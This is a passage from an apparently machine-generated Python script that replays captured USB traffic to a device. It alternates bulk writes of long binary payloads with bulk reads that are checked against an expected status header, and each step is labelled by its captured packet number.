b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x30\\x38\\x82\\x31\\x8E\\x61\\x5D\"\n b\"\\x19\\xAB\\x93\\xD3\\x2A\\x34\\xA2\\x4F\\x85\\x5F\\x14\\xCE\\xC2\\x61\\x28\\x77\"\n b\"\\xE9\\x36\\x75\\x03\\x1E\\x1E\\x2D\\x28\\x86\\xE6\\x68\\xA5\\xD5\\x48\\x04\\x5D\"\n b\"\\xF8\\xC7\\xCC\\xF2\\xA0\\x2C\\x30\\x7B\\x0E\\xD6\\x5C\\xC0\\x6C\\xD8\\xAC\\xEA\"\n b\"\\xB9\\x80\\x8A\\xBA\\x60\\x89\\x36\\x89\\x28\\xC1\\x83\\xD7\\x57\\x34\\xE4\\x76\"\n b\"\\xC1\\xCF\\x6E\\x28\\xD5\\xD7\\x75\\x73\\x33\\x41\\x72\\x31\\x68\\x48\\x4D\\xA3\"\n b\"\\xB2\\x0A\\x3E\\xC1\\xCF\\x93\\xCE\\x6E\\x4D\\x3D\\xC7\\x2F\\x13\\x9A\\xA5\\xD2\"\n b\"\\x4E\\x8E\\x2F\\x6F\\x83\\xFD\\xEA\\xF3\\x4D\\x9D\\xB5\\x39\\x3C\\x5D\\xE0\\x1D\"\n b\"\\xF0\\xA4\\x4B\\x07\\x42\\xEC\\xC6\\x7C\\xD6\\x2C\\x0D\\x32\\xA1\\xFB\\xEE\\x5D\"\n b\"\\xCF\\xA2\\xC2\\xDB\\x96\\x8C\\xF3\\xC6\\xB0\\xDA\\x80\\x0E\\x57\\x78\\xCA\\x09\"\n b\"\\x77\\x89\\x25\\xF9\\x0E\\x7A\\xB7\\xFE\\x0F\\x90\\x4E\\x4C\\x56\\x12\\x43\\xDD\"\n b\"\\xAC\\x1E\\xF7\\x92\\x8A\\x87\\xC7\\xC9\\x67\\x13\\xB1\\xAC\\xE4\\xD9\\x48\\x6A\"\n b\"\\xF4\\x49\\xB5\\xFA\\x82\\xCE\\x34\\xA4\\xBA\\x78\\x5C\\x2C\\x12\\x67\\x45\\x7E\"\n b\"\\x0D\\x67\\xDE\\xD3\\x79\\x5D\\x5D\\xD0\\x8D\\xBE\\x22\\xEA\\x13\\x06\\x27\\x7B\"\n b\"\\x6D\\xB0\\x26\\x9C\\xBD\\xC7\\x54\\x99\\x9E\\x31\\x1B\\x4C\\x98\\xA1\\xC9\\x56\"\n b\"\\x62\\xBD\\x3D\\x77\\x29\\x85\\x68\\x72\\x30\\x10\\x2D\\x8A\\x2A\\xD6\\xEE\\xBE\"\n b\"\\x8C\\x7C\\x94\\xC7\\xA9\\xF2\\x65\\xF0\\xB1\\x77\\x75\\x1E\")\n # Generated from packet 2463/2464\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2463/2464\")\n # Generated from packet 2465/2466\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0E\\xBA\\x70\\x55\\x2F\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1A\\x2B\\xC7\\x15\\x00\\xD5\\x91\\xFB\"\n b\"\\x09\\x95\\x7C\\x0E\\x1B\\x66\\x2D\\x42\\x03\\x5C\\xFE\\xE6\\x7B\\x18\\x4D\\xA3\"\n b\"\\xA6\\xF3\\xBC\\xB7\\xDA\\x55\\x05\\x04\\x2B\\x18\\xFD\\x24\\x2D\\xF1\\x10\\x6E\"\n b\"\\x91\\x0F\\x54\\x1E\\x21\\xB1\\xFF\\x97\\xA5\\xDE\\x36\\x66\\xDE\\x70\\x3C\\x04\"\n b\"\\xFB\\x7A\\xFC\\x69\\x9C\\xB9\\xF6\\x20\\xF9\\xB1\\x0D\\xB7\\x1F\\x4B\\x77\\x2E\"\n b\"\\xE5\\xBF\\x0B\\x03\\x0D\\x69\\xBF\\xA4\\x9E\\xA7\\x1B\\xA6\\xCC\\x22\\xC7\\x17\"\n b\"\\x2E\\xA8\\x43\\x71\\x7A\\x50\\xBA\\x84\\x8B\\x1C\\xB2\\x41\\x4F\\xC1\\x30\\x90\"\n b\"\\x4B\\x35\\x19\\xF7\\x66\\xD6\\xB8\\x07\\xD4\\xD8\\x31\\x47\\x7E\\xA9\\x09\\x9E\"\n b\"\\xE6\\x59\\x96\\xA0\\xF3\\xDA\\xA5\\xE9\\xEA\\xAC\\x1B\\xC8\\xD8\\xAA\\xBC\\xD8\"\n b\"\\xD4\\x23\\xE4\\xDF\\xD8\\xAB\\x81\\x0C\\x58\\xC5\\xF9\\xC7\\x10\\x92\\x5D\\xEE\"\n b\"\\x20\\xB3\\xF8\\xA1\\x37\\x8C\\x25\\x16\\x2A\\x75\\xF7\\xB2\\x21\\x1B\\x57\\xF2\"\n b\"\\xEC\\x75\\xBD\\x8C\\x0F\\x69\\xAE\\x0E\\x55\\x57\\x9F\\xC7\\x14\\xC0\\xB8\\x5E\"\n b\"\\x7A\\x17\\x8D\\xA3\\xCE\\xB1\\x4E\\x66\\x39\\xC0\\x80\\x0F\\x05\\x6B\\x7A\\xDB\"\n b\"\\x88\\x9E\\x6B\\x75\\xA7\\x19\\x9F\\x4D\\x74\\xB7\\x00\\x38\\xF6\\xD8\\xFB\\x72\"\n b\"\\x3A\\x4B\\xC2\\x3E\\x3D\\x3D\\x3E\\x49\\xDF\\x63\\x0F\\x04\\x00\\xC9\\x9D\\x82\"\n b\"\\x33\\x1E\\x63\\x05\\x19\\x34\\xCF\\xBE\\xD9\\x6E\\x0F\\x13\\x1F\\x9F\\xBB\\x26\"\n b\"\\x67\\xCC\\x0B\\x41\\x03\\x04\\x62\\x9D\\x3E\\xFF\\x8F\\xDF\")\n # Generated from packet 2467/2468\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2467/2468\")\n # Generated from packet 2469/2470\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC7\\x3F\\xC5\\x7E\\xB3\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2B\\xB1\\x34\\x86\\x78\\x7A\\xB5\\xF8\"\n b\"\\xD3\\x5C\\x5A\\x1B\\xF6\\x53\\xE7\\xC1\\x40\\xE8\\xD2\\x68\\xD5\\xE7\\x24\\x72\"\n b\"\\xC3\\xCF\\xA9\\x54\\xA4\\x9E\\x94\\xBF\\x68\\xB8\\x04\\x1B\\x32\\x2A\\x15\\xB9\"\n b\"\\x5E\\xD5\\xF6\\x3A\\x84\\xB4\\x07\\x01\\x13\\x7C\\x7E\\x80\\x49\\x24\\x8A\\x8A\"\n b\"\\x97\\xA8\\x20\\x93\\xF8\\x00\\x73\\x64\\x98\\xAD\\xD3\\xFC\\xEA\\x7F\\x5B\\xEB\"\n b\"\\x1B\\x8B\\x34\\x20\\x19\\x4E\\xB7\\xB4\\xE1\\x31\\xFC\\x91\\x45\\x0A\\xF6\\x95\"\n b\"\\x04\\x79\\x7C\\xF0\\xB1\\xF0\\xEC\\x9C\\xD6\\x09\\x34\\x6E\\x79\\x24\\xC3\\x9A\"\n b\"\\x86\\xBC\\xE1\\x6A\\x30\\x39\\x5C\\xF3\\xF1\\x2C\\x56\\x78\\xAC\\x9B\\x39\\x1F\"\n b\"\\x80\\x37\\x05\\xD2\\x8F\\x27\\xA0\\x1A\\xCF\\x22\\x59\\x64\\xAC\\x03\\x32\\x87\"\n b\"\\xD5\\x3C\\x41\\xFF\\x91\\xBF\\xD8\\x2F\\xF8\\xC2\\x71\\xDE\\xA6\\x4F\\xDE\\xA9\"\n b\"\\x3A\\x3F\\x8C\\x07\\x2A\\xA5\\xF4\\xCE\\x46\\xAD\\xC8\\x3F\\xF6\\xFA\\x28\\x17\"\n b\"\\xC1\\x9F\\x15\\x70\\x32\\xEB\\x01\\x3C\\x37\\xEA\\xFF\\x04\\x91\\xFB\\xE7\\x89\"\n b\"\\x1F\\x53\\x1F\\xFE\\x72\\x39\\x5B\\x8C\\x4E\\x08\\xCD\\x48\\xEF\\xAD\\x58\\x72\"\n b\"\\x05\\x64\\x77\\xA4\\xF7\\xA6\\x8B\\x69\\x98\\x9D\\x5E\\x99\\x08\\xA9\\xD4\\x34\"\n b\"\\xFB\\xE6\\xC6\\x07\\x3E\\x96\\xDB\\xBD\\x2D\\x15\\x45\\x34\\xAB\\x3F\\x56\\x82\"\n b\"\\x9E\\x93\\x7B\\xCE\\x2D\\xD5\\xF1\\x51\\x9F\\xC9\\x01\\x13\\xF9\\x89\\x40\\xCB\"\n b\"\\x97\\xE8\\x23\\x27\\xFD\\x10\\x4B\\xB4\\x92\\x3F\\x4A\\x32\")\n # Generated from packet 2471/2472\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2471/2472\")\n # Generated from packet 2473/2474\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x63\\xF9\\x74\\x53\\x8F\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x87\\xA9\\xD9\\x35\\xFA\\x5E\\x16\\x9E\"\n b\"\\xFE\\xB7\\xB8\\xB4\\x16\\x22\\x1A\\x43\\x36\\x8E\\x71\\x00\\x9E\\xB1\\x97\\x25\"\n b\"\\xD7\\xF4\\x24\\x65\\xE6\\x5E\\xC5\\xD8\\x3F\\xF4\\xBA\\x9F\\x9C\\x77\\x19\\x8F\"\n b\"\\xC9\\xEE\\xEA\\xF5\\xE5\\x13\\xC8\\x25\\xD2\\xB2\\x45\\x7D\\xAF\\x64\\x98\\xDD\"\n b\"\\xCA\\x22\\x6C\\x7D\\xDD\\xF2\\xEE\\x70\\xD1\\x78\\x71\\x31\\xDA\\xC3\\xAE\\x27\"\n b\"\\xB7\\xF7\\x78\\xA9\\xBB\\x1B\\x52\\xF7\\x88\\xDF\\x72\\x5C\\x13\\x7A\\xF6\\x63\"\n b\"\\x30\\x36\\x67\\x93\\x8F\\x31\\x72\\x5F\\xEB\\x49\\x8D\\xA1\\xD5\\x9B\\x58\\xFE\"\n b\"\\x14\\x08\\x2E\\x84\\x7F\\xD4\\x4B\\x69\\x68\\xB3\\xE1\\x40\\x53\\x8D\\xC3\\x9B\"\n b\"\\x1E\\xBD\\x0D\\x13\\xF5\\x0D\\x6C\\x28\\x8D\\x94\\x80\\x99\\xE1\\x8E\\x82\\x13\"\n b\"\\xC3\\xF9\\x24\\x3C\\x07\\x79\\x03\\xBA\\x2C\\xB9\\x08\\x03\\x0C\\xBF\\x5E\\x99\"\n b\"\\x76\\xA5\\xF1\\xEE\\x25\\xDB\\x4E\\x1D\\x48\\x8B\\x64\\x47\\x22\\xC2\\x01\\xE9\"\n b\"\\x7F\\x8B\\xB2\\xDD\\x03\\x35\\x10\\x6B\\x27\\xF3\\xA2\\xC2\\xF9\\x7B\\xBF\\x86\"\n b\"\\x4A\\x1E\\x55\\xB4\\xF2\\xE0\\x95\\xAC\\xFD\\x63\\xC8\\x1F\\xF3\\x5E\\xD9\\x42\"\n b\"\\x05\\xA2\\x28\\x2D\\xAD\\x71\\xE6\\xC5\\x13\\x96\\xBD\\x7E\\x04\\xF8\\x8A\\x0A\"\n b\"\\x65\\x3B\\xCB\\xC8\\x4E\\xBF\\xBA\\xD5\\x80\\x19\\xF9\\xAA\\x81\\xB4\\x55\\xE1\"\n b\"\\xFB\\x64\\x07\\xE1\\x0C\\xC0\\x9F\\x7A\\xAB\\xFC\\xED\\x44\\x02\\xC7\\x6E\\xFF\"\n b\"\\x3C\\x8A\\x8C\\x76\\xE0\\x2D\\xA7\\x37\\x79\\x1F\\x62\\xA0\")\n # Generated from packet 2475/2476\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2475/2476\")\n # Generated from packet 2477/2478\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x60\\x21\\x33\\x4E\\x73\\x2D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\xF5\\x83\\xEE\\x11\\x96\\xA7\\x7A\"\n b\"\\x8B\\x1C\\xA4\\x93\\x7E\\x00\\x65\\x46\\x29\\x23\\x48\\xC2\\x14\\xFB\\x76\\xD5\"\n b\"\\x69\\xE5\\xB2\\x5D\\xF3\\x7F\\x30\\x1E\\x9A\\x78\\x9C\\x0B\\x82\\x00\\x17\\xED\"\n b\"\\x65\\x97\\xED\\x69\\x3C\\x6A\\x3C\\x9C\\x90\\x82\\x28\\xFA\\xDF\\x0D\\x2B\\xD1\"\n b\"\\x80\\x8E\\x44\\xA3\\x94\\x5A\\xFC\\xBA\\x3A\\xCE\\x15\\xB9\\x58\\xC5\\x64\\x1A\"\n b\"\\x60\\x63\\x57\\x42\\x99\\x2F\\xB7\\x34\\x70\\x4C\\x52\\xD1\\x23\\x18\\xC8\\x5C\"\n b\"\\xBD\\xF8\\x25\\x4A\\xF1\\x89\\x59\\xFE\\x2A\\x73\\xD4\\x19\\xE5\\x28\\xAE\\xD8\"\n b\"\\xDD\\xCE\\xA7\\x94\\x63\\x63\\x04\\x09\\x59\\xAE\\x31\\x23\\x9A\\xD9\\x4D\\x1B\"\n b\"\\xF0\\x42\\x42\\x69\\xCA\\xBC\\x28\\xF9\\x2C\\x0F\\x41\\x5A\\xF8\\x39\\x77\\x2B\"\n b\"\\xA0\\x05\\xDE\\x33\\x0B\\x5D\\x2A\\xBF\\x2E\\xA3\\xB1\\xD2\\x0A\\x8C\\x0D\\x72\"\n b\"\\x5A\\xBC\\x59\\x19\\xB2\\x0E\\xFF\\x90\\x1E\\x72\\x32\\x56\\xCF\\x2E\\xBB\\x7A\"\n b\"\\x99\\x3B\\x01\\xF1\\x25\\x7E\\x11\\xC6\\x30\\x5E\\x02\\xF8\\x46\\xAB\\x8D\\xCC\"\n b\"\\x97\\x72\\xE4\\xCE\\x2E\\xBF\\x8C\\x87\\x84\\x75\\x86\\xE2\\x5F\\x2F\\xAD\\x48\"\n b\"\\xB1\\x63\\x5E\\x3F\\x53\\x89\\x4F\\x6B\\x19\\x90\\xF5\\x7D\\xB7\\x3B\\x03\\x08\"\n b\"\\x74\\xB0\\xD4\\x7E\\x72\\xB9\\xC9\\xE5\\x97\\x3E\\xCC\\x68\\xE1\\x05\\x63\\x40\"\n b\"\\xFB\\xB5\\x57\\x6F\\x02\\x92\\x11\\x5D\\xB1\\x52\\x99\\x3F\\x53\\x8A\\x54\\xB9\"\n b\"\\x34\\xE6\\xA7\\xBA\\xA5\\xF2\\xCD\\x85\\x29\\x4B\\x40\\x66\")\n # Generated from packet 2479/2480\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2479/2480\")\n # Generated from packet 2481/2482\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF4\\xAF\\xED\\xC3\\x53\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x72\\x76\\x66\\x07\\xC6\\x05\\xCE\\x18\"\n b\"\\x37\\x73\\xB9\\x2D\\xCD\\x4D\\x09\\xC9\\x1F\\xE5\\xB0\\x25\\x57\\x43\\xE6\\xF0\"\n b\"\\xE2\\x89\\xC9\\xC6\\x3B\\xD8\\x74\\x5A\\xC7\\xDA\\xB0\\x81\\x89\\xFF\\xD2\\x17\"\n b\"\\xC9\\xFF\\x8D\\x94\\x4C\\xC6\\x9B\\x52\\x52\\xF1\\x34\\x90\\x1D\\xDE\\x06\\xCA\"\n b\"\\xE5\\xBD\\xE2\\xAC\\x07\\xC7\\x19\\xEB\\x88\\x6F\\xB5\\x1A\\x25\\x9C\\xC6\\x70\"\n b\"\\xBF\\xF2\\x55\\xC9\\x70\\x2F\\x1A\\xEF\\x71\\x7D\\x30\\x6B\\x86\\x1D\\xFB\\x72\"\n b\"\\x2E\\x8A\\xE3\\x06\\xD3\\xA4\\xCF\\x36\\x3A\\xA7\\xE4\\xFF\\xE5\\x98\\xC2\\x2B\"\n b\"\\xFF\\x0E\\xAA\\xF4\\x94\\xD8\\xD2\\xC3\\xBB\\xA6\\x07\\x97\\x5B\\xB0\\xF6\\xF4\"\n b\"\\x39\\x33\\xCB\\xBD\\x2A\\x8B\\x16\\xD5\\x1F\\x7F\\x58\\xB1\\xD5\\xBC\\x57\\x27\"\n b\"\\xB5\\x0B\\x8D\\xA6\\x52\\xBD\\x43\\x38\\x0F\\x38\\xEB\\xF7\\x93\\xEB\\x43\\xBC\"\n b\"\\x00\\x45\\xA5\\x4F\\x72\\xAC\\xF8\\x84\\x4C\\x8D\\xE5\\xAA\\xD0\\xFB\\x03\\x85\"\n b\"\\x58\\xD7\\x04\\x08\\xE7\\xCB\\xCC\\xC8\\xC4\\x20\\xEF\\x3D\\xA0\\x9D\\x52\\x12\"\n b\"\\x02\\xF8\\xA6\\x2D\\x02\\xFE\\xC7\\x55\\x06\\xAF\\xEF\\xD3\\x05\\x70\\x84\\x93\"\n b\"\\xA5\\xFE\\xB9\\x7E\\x81\\x68\\xE5\\xCA\\xF2\\x93\\xBF\\x91\\xE6\\x84\\x6B\\x4F\"\n b\"\\x81\\xB4\\x98\\xEA\\x81\\x32\\xEE\\xFA\\xCF\\x36\\xA4\\xAF\\xAA\\x1B\\x78\\x70\"\n b\"\\x6C\\x02\\xD2\\x77\\x80\\x76\\x7D\\x22\\xF1\\xC7\\x59\\x2C\\x6A\\x6C\\x39\\x94\"\n b\"\\x09\\xB9\\x59\\xCD\\xBA\\x90\\x96\\x80\\x99\\x99\\xE2\\x6D\")\n # Generated from packet 2483/2484\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2483/2484\")\n # Generated from packet 2485/2486\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x99\\x7A\\x7D\\x82\\x40\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x56\\x32\\x96\\xD5\\x9C\\x30\\x72\\x8C\"\n b\"\\x73\\x90\\x93\\x9E\\x2B\\x21\\x3C\\x03\\xD9\\xE9\\x35\\x26\\x5D\\xAB\\x42\\xB4\"\n b\"\\xC6\\x18\\x02\\xAA\\xAE\\x47\\x55\\x70\\x58\\x7B\\xFD\\x24\\x7B\\x8B\\x77\\xC7\"\n b\"\\x3C\\x3E\\x76\\xB0\\x8F\\x16\\x71\\x95\\x37\\xC0\\x6D\\xA5\\xF3\\xBB\\x0C\\x12\"\n b\"\\xF8\\x38\\x26\\xE7\\xE5\\x1E\\xF7\\x22\\x55\\xCF\\x97\\x6A\\xC6\\xF3\\x71\\xF2\"\n b\"\\x11\\x9C\\xBD\\x8C\\x66\\x79\\x4E\\x9F\\xA8\\xAC\\x16\\x96\\x5D\\x98\\xD0\\xD6\"\n b\"\\x05\\xCD\\x89\\xD5\\x2D\\x58\\xB7\\x66\\xD4\\xA6\\x77\\x3F\\xE8\\x80\\xDC\\x33\"\n b\"\\xB2\\x06\\x9B\\x1A\\x19\\xC4\\xFE\\x5B\\xC7\\xDC\\x6F\\x13\\x69\\xC7\\x2C\\xBB\"\n b\"\\xBB\\xB7\\xE8\\x84\\xF4\\xC3\\xAC\\x78\\x08\\x81\\xF4\\x2D\\x47\\x0F\\x9D\\xC2\"\n b\"\\x9A\\x9A\\x2C\\x12\\x6A\\xE6\\xEC\\x0C\\xAD\\x17\\x2F\\x22\\x33\\xB7\\xDB\\xF6\"\n b\"\\x6E\\x25\\xD8\\xDE\\xB3\\x9A\\xC8\\x25\\x07\\xD1\\xEB\\x4B\\xBB\\xC6\\x8C\\x69\"\n b\"\\xA7\\xCE\\x73\\x03\\x22\\x14\\x88\\x83\\x12\\xE7\\x36\\x8F\\x94\\xB8\\x06\\xFA\"\n b\"\\x7A\\x8C\\x3C\\x3C\\x9E\\x0C\\x60\\x42\\x8A\\x6B\\xBA\\x9F\\x87\\xFD\\x93\\x2F\"\n b\"\\xF0\\xAD\\x10\\xB5\\x76\\x7A\\x00\\x1A\\xDB\\x9A\\xB7\\x2E\\xC0\\x08\\x6F\\x71\"\n b\"\\x5A\\xFC\\x09\\x8E\\x32\\xA0\\xD0\\x09\\xD7\\x02\\x9A\\xE0\\x91\\x82\\xD0\\x9D\"\n b\"\\x7C\\x69\\xE0\\x0C\\x4C\\xE3\\x52\\x89\\x8F\\x14\\x7A\\x8C\\x9A\\x12\\xDD\\x5B\"\n b\"\\xF6\\x14\\x11\\xA6\\x34\\x79\\x7D\\xFB\\x8E\\x64\\xC2\\xB9\")\n # Generated from packet 2487/2488\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2487/2488\")\n # Generated from packet 2489/2490\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB4\\x0D\\xF1\\xAD\\x43\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\x9A\\xA5\\x05\\xE1\\x76\\xFD\\x2A\"\n b\"\\xE0\\xF6\\x12\\x6A\\x04\\x8A\\x4C\\xD8\\x72\\xB6\\x7B\\x83\\x34\\x99\\x7C\\x21\"\n b\"\\xC1\\xC5\\xB6\\xF5\\x36\\x91\\x21\\x90\\x89\\xFE\\xD8\\xCF\\x31\\x5E\\x40\\x71\"\n b\"\\xC3\\x7F\\x75\\x2A\\xF4\\xEA\\xC7\\xB9\\x10\\xD7\\xB7\\x1E\\xA5\\x50\\x69\\x52\"\n b\"\\xC9\\x87\\x4B\\xCB\\x7B\\xCE\\x3A\\x99\\x3E\\x05\\x28\\x02\\x67\\xAF\\x81\\x26\"\n b\"\\x6F\\x35\\xE4\\x8C\\xEB\\x85\\x8B\\x08\\x55\\xC2\\x9A\\x05\\xDD\\x80\\xC7\\x45\"\n b\"\\x93\\x3D\\x72\\xFE\\x1C\\x64\\x28\\x73\\x68\\xF0\\x77\\x35\\xD7\\xC0\\x1F\\xB9\"\n b\"\\xEB\\xA1\\x36\\xD8\\x90\\x55\\xEC\\xFA\\xE3\\x5C\\xF3\\xF8\\x55\\xA1\\x75\\x1B\"\n b\"\\xD1\\xFE\\x88\\x85\\xFE\\xF2\\x8A\\x55\\xE4\\x7F\\xAD\\xD7\\x16\\x96\\x00\\x88\"\n b\"\\x53\\x12\\x6D\\x46\\x97\\x53\\xD9\\x8D\\x8A\\xC7\\xBE\\xFC\\x5C\\x91\\xB6\\x03\"\n b\"\\x8B\\xF7\\x40\\x69\\x3F\\x5F\\x8F\\x29\\x51\\xE6\\xEB\\xF1\\x78\\x4F\\xEE\\x5D\"\n b\"\\x1E\\xBD\\xAA\\x90\\xB6\\x6F\\x6B\\x75\\x22\\x53\\x8F\\x53\\x05\\x35\\x10\\x58\"\n b\"\\x67\\x46\\xF0\\x55\\x50\\x3F\\xC2\\x70\\xF0\\x3A\\x3E\\x88\\x8B\\xF7\\xF6\\x2C\"\n b\"\\xAD\\xF5\\x8B\\x36\\x9A\\x74\\x77\\x04\\x96\\x2F\\x31\\xFE\\x5C\\xCE\\xCF\\x83\"\n b\"\\x99\\x72\\x6E\\xD2\\x37\\xED\\x99\\xE6\\x5F\\x30\\xB3\\x13\\xF1\\xA8\\x6B\\xD8\"\n b\"\\x1B\\xB3\\x08\\xF3\\x45\\x14\\x65\\xAB\\xB4\\xAD\\xF8\\x7F\\xEA\\x33\\x00\\x82\"\n b\"\\x0B\\x33\\x00\\x8F\\x24\\x46\\x09\\xC8\\x51\\xC4\\xAE\\x11\")\n # Generated from packet 2491/2492\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2491/2492\")\n # Generated from packet 2493/2494\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x73\\x1F\\xFF\\x5C\\x8A\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0C\\x11\\x34\\x86\\xE1\\x55\\x64\\xFA\"\n b\"\\x08\\x38\\x14\\x6D\\x5B\\xFF\\x1B\\x99\\x73\\x75\\xA4\\x21\\x25\\xC6\\xA4\\x89\"\n b\"\\xB2\\x5E\\xF5\\x67\\x7F\\xB1\\x70\\xCF\\xEF\\xB6\\xC5\\x8F\\xF7\\x3A\\x77\\x1D\"\n b\"\\xC9\\xDB\\x6F\\xEA\\x57\\xA0\\x97\\x1E\\xF6\\x7D\\xBC\\xA2\\x55\\x61\\x00\\x89\"\n b\"\\x6A\\x0F\\xF0\\xC3\\x55\\xC7\\x25\\x8A\\x02\\xC0\\xA1\\x3B\\x14\\x30\\xD4\\x19\"\n b\"\\xCA\\x2C\\xA5\\xF7\\x03\\x95\\xE1\\x88\\xBA\\xB1\\x60\\xD9\\xE2\\xCE\\xF8\\xC0\"\n b\"\\xD5\\xDA\\x18\\xD8\\xC9\\x4C\\xA4\\xF9\\x95\\xBF\\xB8\\x0B\\xEB\\x83\\x57\\xCE\"\n b\"\\xA3\\xDE\\xEF\\xAB\\x67\\xA9\\x5A\\xE6\\x4C\\x1D\\x7A\\x49\\xF0\\xA9\\xF9\\x43\"\n b\"\\x17\\x63\\x15\\xF2\\x30\\xBF\\xF8\\x17\\x1E\\x99\\x7D\\xF0\\xDD\\x97\\xA0\\x67\"\n b\"\\x0E\\x9E\\x8F\\xDD\\x36\\x3B\\xB3\\xEE\\x4D\\xB0\\xEF\\x35\\x6E\\x18\\xD0\\x5C\"\n b\"\\xF2\\xC4\\x14\\x1B\\x3A\\xE3\\xC4\\xC8\\x1A\\xE3\\x5A\\x2A\\xD3\\x35\\xD6\\x14\"\n b\"\\x72\\x98\\x5D\\xB0\\x42\\x79\\xAC\\xE8\\x91\\x70\\xC8\\x09\\x68\\x93\\x2B\\xAB\"\n b\"\\x38\\x74\\x4B\\x14\\x6B\\x9D\\xD4\\x7E\\x47\\x16\\xFB\\xB8\\x19\\x62\\xDC\\x3E\"\n b\"\\xFE\\xEA\\x3B\\x94\\xC1\\xC1\\x39\\x90\\xFD\\x16\\x25\\x20\\xCA\\x7F\\xE1\\xAE\"\n b\"\\xC0\\xC3\\x6F\\x25\\xB7\\x69\\xE2\\x8F\\xCA\\x61\\x57\\x4C\\x74\\x38\\xE4\\xD4\"\n b\"\\x59\\x7C\\xEA\\xAF\\xF4\\x74\\xFF\\x22\\xCA\\x79\\x4D\\xD6\\x70\\x6E\\xF0\\x63\"\n b\"\\x88\\x5C\\x7B\\xFC\\x47\\x83\\xA1\\x93\\x3F\\x1B\\xD8\\x8D\")\n # Generated from packet 2495/2496\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2495/2496\")\n # Generated from packet 2497/2498\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x40\\x01\\xE2\\x63\\xAF\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x22\\x6C\\xAF\\x93\\xBA\\xB4\\x23\\x7D\"\n b\"\\x16\\x35\\xBB\\xD5\\x83\\x60\\x5C\\xCA\\xB6\\xD4\\x7D\\x93\\x48\\xDB\\xA9\\x0D\"\n b\"\\x8D\\x67\\x34\\xF4\\x82\\x50\\xEC\\x1B\\xD2\\x4F\\x3F\\x90\\x5F\\x7F\\xB4\\xF9\"\n b\"\\x3A\\x03\\x02\\x15\\x5E\\x4F\\x3C\\x2B\\x6B\\xEB\\xE3\\x27\\x35\\xFA\\x75\\x61\"\n b\"\\x31\\x1B\\xD2\\xE6\\xAC\\xD8\\x60\\x40\\x26\\x96\\x45\\xC1\\x48\\xAF\\xC0\\x0F\"\n b\"\\x54\\x65\\xD4\\xEC\\xAA\\x3C\\x5F\\x58\\x16\\x57\\x0D\\xED\\xB6\\xCA\\x81\\xF6\"\n b\"\\x7A\\x52\\x7F\\x8E\\xB7\\x09\\x66\\x7C\\x69\\x58\\x6F\\xC1\\x10\\xBA\\xB1\\x40\"\n b\"\\x44\\x3B\\x28\\x29\\xE7\\xDA\\xCA\\xA4\\x9A\\xF6\\xF8\\x12\\x2B\\x82\\x12\\x6E\"\n b\"\\x6E\\x01\\xA2\\xC0\\xDA\\x4E\\x9E\\xEA\\x27\\xBD\\x30\\xD6\\x54\\xD6\\x09\\x41\"\n b\"\\xD4\\x40\\xF3\\xDE\\x14\\xDE\\xCC\\x8B\\x39\\x36\\xCA\\xB8\\xEE\\x79\\x31\\x54\"\n b\"\\xEB\\xED\\x3E\\xAF\\x8D\\xA1\\x78\\xF0\\x2B\\x94\\xB6\\x24\\x6F\\x49\\xD0\\x3E\"\n b\"\\x14\\x38\\x58\\x05\\x81\\x9F\\x1C\\xF5\\x81\\x8F\\xC6\\xA8\\x20\\x79\\x18\\xD7\"\n b\"\\x0A\\x8F\\x46\\x07\\x43\\xD8\\xFE\\x27\\x68\\xDB\\xB3\\x00\\xB9\\x9D\\xB9\\x25\"\n 